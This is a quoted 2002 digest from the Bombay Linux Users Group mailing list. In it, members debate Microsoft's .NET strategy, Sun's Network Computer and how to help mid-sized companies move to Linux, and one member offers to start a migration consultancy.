><scrap(a)saswatabanerjee.com> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:28:24 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > >Connected with the same topic actually, > >If we manage to convince one of our clients to move at least >partially to >linux, how can ILUG help them ? > >I am talking about companies falling between small and mid-sized >companies >in service industry. Say with 150-200 people working for them ? >Can we >promise such people help in moving to Linux and help in solving >problems >that they face ? > >Companies like these are not the ones who can use help from >usenet or such >things. > >I have been telling my clients that Linux is a good platform to >move to, >specially since it does not make sense to pay huge amounts for >official >windows software. I have also told them that the platform is very >stable, >meaning that once installed, unless you fiddle with things, it >will work >trouble free for years. But they are still worried about whether >they will >be able to cope up with problems that they may face. (Neither can >they >afford to have expensive tech-support contracts) > >Regards >Saswata > > > >--__--__-- > >Message: 2 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 19:51:33 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > > > > >> market share in desktop environment. The entire core of >dotnet strategy > > is > > >> to move things away from the desktop / client and move the >processing >to > > >>the > > >> server > > > These days are too far. The people at Sun thought about the >Network > > Computer > > > and burnt their hands. > > > > > > Sometimes I use connection speeds where even the K is absent >;). > > > > DotNet was thougth out and designed when the DotCom boom was >at its crest > > and every one was saying the all corporate will move to ASP >(Application > > Service Provider) model of computing. The dotnet strategy >could, obviously > > not be changed at this stage though the dotcom boom ended, so >its features > > are still there waiting for the time when it will be >implemented. Till >then, > > it will only serve to further bloat windows software. > >The ASP model in general was a failure how many more dot-com >companies do we >need to prove that. > > > > > As for Network Computer, I think one hand it was badly >marketed, and on >the > > other hand, there was very little benefit of moving to that >platform. The > > savings at each client was minimum and that power demand >requirement added > > on the server side was too much. Sun based its NC strategy >on > > "Anit-Microsoft" platform rather on user needs and benefits. > >The NC seems promising even today. But then lets wait for IBM to >eat Sun ;). >Maybe then it will be more valid. > >Regards, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 3 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:11:45 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > > Connected with the same topic actually, > > > > If we manage to convince one of our clients to move at least >partially to > > linux, how can ILUG help them ? > >Maybe we should try this area as well. What say people. The best >way to >prove your ability is by DOING IT. > > > I am talking about companies falling between small and >mid-sized companies > > in service industry. Say with 150-200 people working for them >? Can we > > promise such people help in moving to Linux and help in >solving problems > > that they face ? >*snip* > >I am thinking of starting a Consulting company that will do only >GNU/Linux >and M$ to GNU/Linux migration. And I am looking for willing >customers... > >Saswata where can I get in touch with you regarding this? > >Warm wishes, > >Amol Hatwar. > > > > > >--__--__-- > >Message: 4 > From: "Amol Hatwar" <rollacosta(a)phreaker.net> >To: <linuxers(a)mm.ilug-bom.org.in> >Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss >Date: Fri, 15 Nov 2002 20:06:54 +0530 >Reply-To: linuxers(a)mm.ilug-bom.org.in > > ----- Original Message ----- > > From: "Amol Hatwar" <rollacosta(a)phreaker.net> > > To: <linuxers(a)mm.ilug-bom.org.in> > > Sent: Friday, November 15, 2002 6:20 PM > > Subject: Re: [ILUG-BOM] [OT] Ignorance is bliss > > > The term .NET is confusing, you are refering to the passport >and other > > > services. Speaking technically correctly .NET is an >initiative... that > > > promises a lot of things. The Linux/Windows interoperability >that I am > > > talking of here is one of them. > > > > DotNet is not just a strategy, it is also a family of >products. It >includes >*snip* >Right on... the products are to implement the strategy... and the >strategy >as I see it will ultimately evolve to hoodwink the users. > > > > > The move to port dotnet to linux platform is another >version of the >same > > > > > > Like I said .NET is NOT a product that you install... its >an >initiative... > > > comprising of a multitude of products and services. >Porting... is some > > other > > > question. > > > > I was refering to the DotNet Server Software and the DotNet >Framework > > including Microsoft Intermediate Language. These will ensure >that all > > software designed for running on the dotnet server and those >made with > > Microsoft Visual Studio .Net RAD tools will work on linux. > >Right on again... M$ wants to reap from the Linux market as well. >Thats >because they know they're strong on desktop products.... the M$ >Office Suite >for instance. They want to sell that to Linux users too. Its like >a dual >strategy. They want to replace our applications and then our OS >as well. > > > > > > > > > > hedging......in case linux becomes more popular on the >server front, > > > > software designed on dotnet platform will run even if the >server is > > > running > > > > linux, and the desktops are windows. Believe me, they will >finalise >and > > > > complete the codes to production level only if linux >becomes too >popular > > > at server level.......Otherwise, it will remain >"experimental" > > > > > > Which OS do you think has the upperhand in server markets >now? :D > > > > True, Linux has a lead in the server market, specially in >large and very > > large applications, webservers, etc. But Windows is catching >on faster >than > > you realise. Futher, dont forget that there is another fast >growing server > > market, which is servers used by (small, medium and large%2

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